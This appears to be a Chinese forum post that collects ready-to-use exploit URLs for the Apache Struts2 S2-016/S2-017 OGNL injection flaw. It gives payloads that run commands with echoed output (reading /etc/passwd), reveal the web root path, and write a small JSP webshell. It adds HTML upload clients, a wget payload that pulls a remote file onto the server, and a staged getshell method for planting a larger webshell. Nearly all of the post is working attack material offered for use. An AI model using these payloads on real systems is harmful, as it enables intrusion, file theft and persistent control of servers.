Struts2 S2-016/S2-017 命令执行带回显、看web路径、getshell e...
大家都发了，，我就整理了一下。友情提示，自己小命比shell重要哦。。
喜欢就点一下感谢吧^_^
带回显命令执行：
http://www.example.com/struts2-blank/example/X.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/etc/passwd'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
爆路径：
http://www.example.com/struts2-blank/example/X.action?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D
写文件：
http://www.example.com/struts2-blank/example/X.action?redirect:${ %23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'), %23p%3d(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22).replaceAll("\\\\", "/"), new+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getParameter(%22c%22)).close() }&c=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e
写入的文件内容：
<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>
其实就是一个jsp的小马，需要客户端配合
函数f是文件名，t是内容
客户端：
<form action="http://www.example.com/struts2-blank/example/css3.jsp?f=fjp.jsp" method="post"> <textarea name=t cols=120 rows=10 width=45>your code</textarea><BR><center><br> <input type=submit value="提交"> </form>
就在当前目录建立一个fjp.jsp
shell：http://www.example.com/struts2-blank/example/fjp.jsp
还有@园长的一个客户端：
<html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <title>jsp-园长</title> </head> <style> .main{width:980px;height:600px;margin:0 auto;} .url{width:300px;} .fn{width:60px;} .content{width:80%;height:60%;} </style> <script> function upload(){ var url = document.getElementById('url').value, content = document.getElementById('content').value, fileName = document.getElementById('fn').value, form = document.getElementById('fm'); if(url.length == 0){ alert("Url not allowd empty!"); return ; } if(content.length == 0){ alert("Content not allowd empty!"); return ; } if(fileName.length == 0){ alert("FileName not allowd empty!"); return ; } form.action = url; form.submit(); } </script> <body> <div class="main"> <form id="fm" method="post"> URL:<input type="text" value="http://localhost/Struts2/css3.jsp" class="url" id="url"/> FileName:<input type="text" name="f" value="css.jsp" class="fn" id="fn" /> <a href="javascript:upload();">Upload</a><br/> <textarea id="content" class="content" name="t" ></textarea> </form> </div> </body> </html>
还有@X发的一个wget的getshell
?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'wget','http://www.url.com/xx.txt','- O','/root/1.jsp'} )).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b), %23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e), %23piaoye%3d%23context.get ('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23piaoye.getWriter().println (%23e),%23piaoye.getWriter().flush(),%23piaoye.getWriter().close()}

Getshell的基本思路是先爆路径，然后通过路径上传小马（就是上传大马的马，url不能过长所以只能先传小马），然后用小马传大马。这里有点扯的是 http://a.com/b/c/d.action传上去的小马有可能在http://a.com/b/里面也有可能在http://a.com/b /c/里面，晚上写工具的时候一直在纠结这个问题，求大神拯救
